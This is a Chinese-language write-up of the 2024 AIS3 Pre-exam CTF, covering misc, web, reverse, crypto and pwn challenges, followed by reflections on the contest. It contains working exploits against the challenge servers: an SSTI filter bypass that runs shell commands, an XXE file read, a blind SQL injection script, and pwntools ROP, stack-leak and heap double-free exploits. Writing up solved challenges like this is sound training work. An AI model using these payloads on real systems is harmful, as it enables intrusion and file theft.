2024 AIS3 Pre-exam Writeup

2024 AIS3 Pre-exam Writeup

Misc

Quantum Nim Heist

hash 以 Merkle–Damgård 計算。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
class Hash:

def __init__(self):
self.secret = secrets.randbits(64)


def pad(self, message: bytes) -> bytes:
c = -len(message) % 8
return message + b'\x00' * c


def digest(self, message: bytes) -> bytes:
message = self.pad(message)

blocks = [int.from_bytes(message[i:i+8], 'big')
for i in range(0, len(message), 8)]

def f(a: int, b: int) -> int:
for i in range(16):
a, b = b, a ^ splitmix64(b)
return b

state = self.secret
for block in blocks:
state = f(state, block)

return state.to_bytes(8, 'big')


def hexdigest(self, message: bytes) -> str:
return self.digest(message).hex()

只要拿到無 padding 的遊戲狀態,就能根據它增加訊息。

例如以下狀態是 2,8,7,13 長度為 8 無 padding,後面加上 ,0000001,即可算出 signature。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def splitmix64(x: int) -> int:
U64_MASK = 0xFFFFFFFFFFFFFFFF
x = (x + 0x9E3779B97F4A7C15) & U64_MASK
x = ((x ^ (x >> 30)) * 0xBF58476D1CE4E5B9) & U64_MASK
x = ((x ^ (x >> 27)) * 0x94D049BB133111EB) & U64_MASK
return x ^ (x >> 31)

def f(a: int, b: int) -> int:
for i in range(16):
a, b = b, a ^ splitmix64(b)
return b

saved = '2,8,7,13:e82c8030a96a2ba5'
game_str, digest = saved.split(':')

state = bytes.fromhex(digest)
state = int.from_bytes(state, 'big')
state = f(state, int.from_bytes(b',0000001', 'big'))

print(game_str + ',0000001' + ':' + state.to_bytes(8, 'big').hex())

將 signature 貼到 load a saved game,再以 AIPlayer.get_move() 必勝策略遊玩即可拿到 flag。

AIS3{Ar3_y0u_a_N1m_ma57er_0r_a_Crypt0_ma57er?}

Three Dimensional Secret

pcap 裡有很多像座標的東西,且 Marlin 跟 3D Printer 有關,猜測這是控制 3D Printer 的參數。

經查詢發現這是 gcode 格式,使用 tshark 找出所有 gcode。

1
tshark -r capture.pcapng -Y "tcp.dstport == 53924" -T fields -e data > dump

(這裡是將 hex 轉為 ascii,tshark 應該有轉換格式的方法)

1
2
3
4
5
6
7
8
with open('dump', 'r') as f:
s = f.read()

s = s.replace('\n','')
g = bytes.fromhex(s)

with open('dump.gcode', 'r') as f:
f.write(g)

將 gcode 貼到線上模擬器得到 flag。

AIS3{b4d1y_tun3d_PriN73r}

Hash Guesser

程式將 secret 轉為圖片,用 ImageChops.difference(img1, img2).getbbox() == NULL 比對。

ImageChops.difference 輸出一個圖片,若 img1, img2 尺寸不同,則取他們最小 x 和最小 y。

getbbox() 是尋找圍出最小長方形,使得長方形外像素為 0。

創建 1x1 的圖片,像素設 0 或 255,必有一個跟 secret 比對成功。

1
2
3
4
5
from PIL import Image

image = Image.new("L", (1, 1), 0)
image.putdata([255]) # or 0
image.save('exp.png')

AIS3{https://github.com/python-pillow/Pillow/issues/2982}

Web

Evil Calculator

SSTI,程式會過濾 _,利用 str.replacechr 繞過。

1
2
3
4
{
"expression":
"eval('str().$$class$$.$$mro$$[-1].$$subclasses$$()[154].$$init$$.$$globals$$'.replace('$',chr(0x5f)))['popen']('cat${IFS}/flag').read()"
}

AIS3{7RiANG13_5NAK3_I5_50_3Vi1}

Ebook Parser

ebook 可解析 fb2 格式是 XML,直接 XXE 攻擊。

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE nina[
<!ENTITY xxe SYSTEM "file:///flag">
]>
<FictionBook xmlns="http://www.gribuser.ru/xml/fictionbook/2.0" xmlns:xlink="http://www.w3.org/1999/xlink">
<description>
<title-info>
<book-title>&xxe;</book-title>
</title-info>
</description>
</FictionBook>

AIS3{LP#1742885: lxml no longer expands external entities (XXE) by default}

It’s MyGO!!!!!

Blind SQL Injection 讀取 /flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests

url = 'http://chals1.ais3.org:11454'


def check(condition):
query = f'1 and {condition}--'
r = requests.get(url + '/song', params={'id': query})
return 'No Data' not in r.text

def binary_search(target, l, r):
while l < r:
m = (l+r+1) >> 1
if check(f"{target}>={m}"):
l = m
else:
r = m-1
return l

def binary_search_string(target, max_len):
result_len = binary_search(f'length(({target}))', 0, max_len)
result = ''
for i in range(1, result_len+1):
result += hex(binary_search(f'ascii(substr(({target}),{i},1))', 0, 255))[2:]
print(bytes.fromhex(result).decode('utf-8'))

target = f'SELECT LOAD_FILE("/flag")'
binary_search_string(target, 1000)

AIS3{CRYCHIC_Funeral_😭🎸😭🎸😭🎤😭🥁😸🎸}

Reverse

The Long Print

開 IDA 尋找 secret, key,xor 解回來。

1
2
3
4
5
6
7
8
9
10
11
12
secret = '46414B450B0000007B686F6F0A0000007261795F0200000073747269080000006E67735F0600000069735F61050000006C77617907000000735F616E040000005F7573650900000066756C5F00000000636F6D6D01000000616E7A7D03000000'

key = '0110013A0D1B4C4C2D000B3A404F45001A3204311D162D3E310A122C03113E0D2C001A0C32141D040031001A07081876'

def xor(a, b):
return bytes([x ^ y for x, y in zip(a, b)])

for i in range(0, 24, 2):
a = bytes.fromhex(secret[i * 8: (i+1) * 8])
index = int.from_bytes(bytes.fromhex(secret[(i+1) * 8: (i+2) * 8]), 'little')
b = bytes.fromhex(key[index * 8: (index+1) * 8])
print(xor(a, b).decode(), end='')

AIS3{You_are_the_master_of_time_management!!!!?}

火拳のエース

開 IDA,將 complex() 反向操作解回 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
cipher = ['DHLIYJEG', 'MZRERYND', 'RUYODBAH', 'BKEMPBRE']
key = [0x0E, 0x0D, 0x7D, 0x06, 0x0F, 0x17, 0x76, 0x04, 0x6D, 0x00, 0x1B, 0x7C, 0x6C, 0x13, 0x62, 0x11,
0x1E, 0x7E, 0x06, 0x13, 0x07, 0x66, 0x0E, 0x71, 0x17, 0x14, 0x1D, 0x70, 0x79, 0x67, 0x74, 0x33]


def rev_complex(c, index):
v8 = ord(c) - 65
v7 = index % 3 + 3
if index % 3 == 2:
v8 = (v8 + v7) % 26
elif index % 3 == 1:
v8 = (v8 - v7*2 + 26) % 26
else:
for i in range(26):
if (i*v7+7) % 26 == v8:
v8 = i
break

v8 = v8 - 17*index
while v8 < 0:
v8 += 26

return 65 + v8


complex_cipher = [[] for i in range(4)]
for i in range(8):
for j in range(4):
complex_cipher[j].append(rev_complex(cipher[j][i], j*32+i))

for j in range(4):
for i in range(8):
print(chr(complex_cipher[j][i] ^ key[j*8+i]), end='')

AIS3{G0D_D4MN_4N9R_15_5UP3R_P0W3RFU1!!!}

Crypto

babyRSA

程式將字元一個個加密,但字元只有 256 種可能,直接爆破。

1
2
3
4
5
6
7
8
9
10
11
12
e, n = (64917055846592305247490566318353366999709874684278480849508851204751189365198819392860386504785643859122396657301225094708026391204100352682992979425763157452255909781003406602228716107905797084217189131716198785709124050278116966890968003294485934472496151582084561439957513571043497031319413889856520421733,
115676743153063753482251273007095369919613374531038288437295760314264647231038870203981488393720761532040569270340726478402172283300622527884543078194060647393394510524980830171230330673500741683492143805583694395504141751460090539868114454005046898551218623342425465650881666420408703144859108346202894384649)

Encrypted = [...] # 太長了省略

cipher2char = dict()

for i in range(2, 256):
cipher2char[pow(i, e, n)] = chr(i)

for x in Encrypted:
print(cipher2char[x], end='')

AIS3{NeverUseTheCryptographyLibraryImplementedYourSelf}

zkp

p-1 是 smooth prime,可用 Pohlig Hellman,上網找程式解開。

AIS3{ToSolveADiscreteLogProblemWhithSmoothPIsSoEZZZZZZZZZZZ}

Pwn

Mathter

簡單的 ROP。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

context.arch = 'amd64'

#io = process('./mathter')
io = remote('chals1.ais3.org', 50001)
#gdb.attach(io)

pop_rdi = 0x402540
win1 = 0x4018C5
win2 = 0x401997

io.sendline('q')
io.sendline(b'a'*12 + flat([pop_rdi, 0xdeadbeef, win1, pop_rdi, 0xcafebabe, win2]))

io.interactive()

AIS3{0mg_k4zm4_mu57_b3_k1dd1ng_m3_2e89c9}

Base64 Encoder

encode 過程會將 char 轉 int 再左移,若輸入 0xff 等負數字元,則也當負數處理。

因此 combined 可以是負數,combined % 64 實際在 assembly 會先加上 64,mod 之後再減 64,不影響負數的值。

所以 table[combined % 64] 可以拿 stack 上其他資料,例如 ret address。

最後 main 函數有 buffer overflow,用剛剛得到的 ret address 算出 Vincent55Orz 位址,跳過去即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

#io = process('./base64encoder')
io = remote('chals1.ais3.org', 50002)
#gdb.attach(io)

result = b''
for i in range(0xf8, 0x100):
io.sendline(b'\xff\xff' + bytes([i]))
io.recvuntil('Result: ')
io.recv(3)
result += io.recv(1)

main_addr = u64(result)
info(hex(main_addr))
orz = main_addr - 0x3cf
info(hex(orz))
ret = orz - 0x29 + 0x51

io.sendline(b'a' * 72 + p64(ret) + p64(orz))
io.sendline()
io.interactive()

AIS3{1_g0t_WA_on_my_H0m3work_Do_YoU_h4v3_aNY_idea???_22281a41372450db}

Inception

先 malloc unsorted-bin 大小的 chunk,拿到 libc 位址。

利用 fastbin double free 修改 __malloc_hook 跳到 one_gadget。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

#io = process('./inception')
io = remote('chals1.ais3.org', 50003)
#gdb.attach(io)

def build_dream(choice, content):
io.sendlineafter('> ', '1')
io.sendlineafter('> ', str(choice))
io.sendlineafter(': ', content)


def infiltrate_dream(_id):
io.sendlineafter('> ', '2')
io.sendlineafter('> ', str(_id))
io.recvuntil(':\n')
return io.recvline(keepends=False)


def destroy_dream(_id):
io.sendlineafter('> ', '3')
io.sendlineafter('> ', str(_id))


build_dream(3, 'a')
build_dream(2, 'a')
destroy_dream(1)

libc = u64(infiltrate_dream(1).ljust(8, b'\0')) - 0x3c4b78
info('libc: ' + hex(libc))
one_gadget = libc + 0xf1247
__malloc_hook = libc + 0x3c4b10 - 0x23
info('one_gadget: ' + hex(one_gadget))
info('__malloc_hook: ' + hex(__malloc_hook))


build_dream(2, 'a')
destroy_dream(2)
destroy_dream(3)
destroy_dream(2)
build_dream(2, p64(__malloc_hook))
build_dream(2, p64(__malloc_hook))
build_dream(2, p64(__malloc_hook))
build_dream(2, b'a' * 0x13 + p64(one_gadget))

io.sendlineafter('> ', '1')
io.sendlineafter('> ', '2')

io.interactive()

AIS3{Y0u_h4v3_b33n_succ3ssfully_r3cru1t3d_t0_my_t34m}

一些廢話

今年 Pre-exam 最大的不同,我認為是 ChatGPT 的使用。以前 Google 好久才做到的事,ChatGPT 幾秒就能生給你。
比方說,Ebook Parser 需要的 fb2 檔案,我先請 ChatGPT 生簡單範例,再塞 XXE payload 進去。
又或者 Three Dimensional Secret 需要用 tshark 抓資料,直接讓 ChatGPT 生指令,參賽者就有更多時間做別的題目。除此之外還有很多用途,不一一列舉。
簡單來說,ChatGPT 使用習慣上逐漸與 Google 並駕齊驅,這是今年 Pre-exam 帶給我最大的感受。

知識方面,我在賽中強烈意識到自己學得不扎實,無論是 Crypto 或較喜歡的 Pwn 皆如此。
babyRSA 作為最簡單的 Crypto 題,我在第一天看不出解法,查了許多 RSA 的攻擊方式。隔天下午才發現自己在耍智障,它只需基本概念和觀察而已。
Inception 解題途中,我發現 fake bin 必須有適當的 chunk size(例如 0x31),儘管學習時聽過這種狀況,但之前做題都不曾遇到。原因可能是之前都打 tcache,就以爲自己 fastbin 沒問題。(當然此假設也可能是錯的)

接著是比賽過程的錯誤。
It’s MyGO!!! 網頁有時不回應,是要我們用 Blind SQL Injection(應該吧)。當我一察覺到,便開始做例行公事:測試語句、寫 binary search,爆資料庫名、表名等,弄了許久仍找不到 flag。
回頭一看題目,才知 flag 在檔案裡。

第三天,我原本想好 Simple URLencode 思路,想在下午完成。
然而,中午 Discord 出題者說 Capoost(某題 web)提示釋出後解題人數有增,我很好奇題目長怎樣,一看就看了一小時。休息時雖想過回去解 fmtstr,但還是抱僥倖心態繼續解 Capoost。

論為何沈迷於此,似乎是持續進步和成功的可能性。Capoost 一開始 extract file 遇到困難,花了一些時間克服,而作者也明確講漏洞在 login api 和 serialize,讓人有動力繼續下去。
就像遊戲一樣,設置稍微難又不太難的任務與里程碑,打造希望使人沈溺其中。

比賽結束,以第 7 名作結。若當時未做錯決策,或 Emoji Console 有解出來,成績應該能更好。